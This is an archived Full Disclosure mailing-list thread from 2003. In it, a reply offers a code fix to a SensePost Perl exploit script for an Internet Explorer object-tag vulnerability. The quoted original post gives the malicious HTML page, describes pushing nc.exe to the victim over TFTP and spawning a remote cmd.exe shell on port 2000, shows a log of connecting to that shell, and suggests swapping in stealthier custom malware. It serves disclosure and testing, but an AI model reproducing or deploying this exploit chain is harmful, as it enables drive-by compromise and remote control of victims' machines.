Full Disclosure mailing list archives
RE: AD20030820...testing made easy
From: "Bill Roemhild" <broemhild () positiveplace org>
Date: Fri, 22 Aug 2003 15:12:13 -0700
In playing with the eEye-SP.pl I ran into a little snag when connecting. [Server accepting clients] Can't call method "name" on an undefined value at ./eEye-SP.pl.1 line 47. To fix this.. edit line 47 from this: printf "incoming...%s\n",$hostinfo->name || $client->peeraddr; To this: printf "incoming...%s\n", $hostinfo ? $hostinfo->name : $client
peerhost;
Bill -----Original Message----- From: Roelof Temmingh [mailto:roelof () sensepost com] Sent: Thursday, August 21, 2003 4:52 PM To: full-disclosure () lists netsys com Cc: tech () sensepost com Subject: [Full-disclosure] AD20030820...testing made easy eEye IE (EIIE:)) bug: http://www.eeye.com/html/Research/Advisories/AD20030820.html This here just making it easier to edit commands/play around ...nothing heavy...nothing new... On 10.10.10.10's web server is test.html: ----------------------------------------- <html><h1> nice webpage</h1> <object data="http://10.10.10.10:81/blah.html"> </object></html> On 10.10.10.10 ... running as root: ----------------------------------- PERL script located on http://www.sensepost.com/misc/eEye-SP.pl Not listed/attached here ... AVs will bitch etc. etc. When/if victim surfs to http://10.10.10.10/test.html it's off to port 81. nc.exe will be TFTP-ed and CMD.EXE shell spawned on port 2000...see the WSH part. It goes like this: ------------------ # perl eEye-SP.pl [Server accepting clients] (Victim surfs to test.html on 10.10.10.10...) incoming...192.168.0.1 incoming...192.168.0.1 ^C # telnet 192.168.0.1 2000 Trying 192.168.0.1... Connected to blah.pSSSofff.com. Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> Of course the idea is not to tftp nc.exe...but your own home grown thingy..(ideally without a console window:))... 'later.. Roelof _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- AD20030820...testing made easy Roelof Temmingh (Aug 21)
- <Possible follow-ups>
- RE: AD20030820...testing made easy Bill Roemhild (Aug 22)